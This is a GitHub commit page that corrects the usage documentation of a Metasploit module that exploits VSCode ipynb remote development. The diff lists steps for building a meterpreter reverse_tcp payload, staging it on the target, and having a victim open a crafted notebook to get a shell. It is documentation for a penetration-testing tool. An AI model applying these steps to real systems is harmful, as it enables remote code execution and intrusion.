Skip to content

Commit

Permalink
touchup docs
Browse files Browse the repository at this point in the history
  • Loading branch information
h00die committed Jun 4, 2024
1 parent 216ffec commit d796610
Showing 1 changed file with 3 additions and 3 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -37,16 +37,16 @@ https://update.code.visualstudio.com/1.70.2/linux-deb-x64/stable
1. Start msfconsole
1. Do: `use linux/x64/meterpreter/reverse_tcp`
1. Do: `set lhost [ip]` and `set lport [port]`
1. Do: `geneate -o shell.sh -f elf`
1. Do: `generate -o shell.sh -f elf`
1. Copy the payload `shell.sh` to `/tmp/` on the target and run `chmod +x /tmp/shell.sh`
1. Do: `use modules/exploits/multi/misc/vscode_ipynb_remote_dev_exec`
1. Do: `set target 1 `
1. Do: `set lhost [ip]` and `set lport [port]` - be sure to set these to the same values as in the previous step
1. Do: `set FETCH_WRITABLE_DIR /tmp/`
1. Do: `set PAYLOAD_FILENAME shell.sh`
1. Do: `run`
1. Copy the ipynd payload file to the target machine.
1. In VSCode, open the URL (File -> Open -> project.ipynb)
1. Copy the ipynb, and payload file to the target machine.
1. In VSCode, open the file (File -> Open -> project.ipynb)
1. After the pop-up errors, open the file again.
1. You should get a shell.

Expand Down

0 comments on commit d796610

Please sign in to comment.